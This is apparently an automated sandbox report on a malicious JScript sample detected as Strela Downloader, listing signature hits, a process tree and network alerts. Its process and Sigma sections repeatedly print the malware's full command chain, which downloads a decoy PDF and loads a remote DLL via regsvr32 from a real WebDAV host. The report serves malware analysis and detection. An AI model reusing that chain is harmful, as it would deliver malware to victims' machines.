Edit tour

Windows Analysis Report
15994293462788625581.js

Overview

General Information

Sample name:	15994293462788625581.js
Analysis ID:	1590030
MD5:	f6c506adbed2e7ab749d8c059a6e2484
SHA1:	e7637610f83a185b103464acbaef2632b02cad24
SHA256:	19a15e3d06814624e84705dbc5824831efd2d68c606729e6f9ef141885ce6e7b
Tags:	jsuser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2612 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2988 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 988 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4876 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5976 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2420 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1628,i,15348255710480539430,1827059761029734121,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5732 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4412 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1708 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2612	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 988, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 988, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", ProcessId: 2612, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4412, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49713

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 2988, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 2988, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 2988, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 2988, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 2988, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", ProcessId: 2612, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 988, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5732, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4412, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1708, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5732, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4412, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 2988, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:55:04.976094+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:55:07.483002+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49713	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:55:04.976094+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49711 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49713 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 12:55:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49713

Source: global traffic

TCP traffic: 192.168.2.6:49713 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

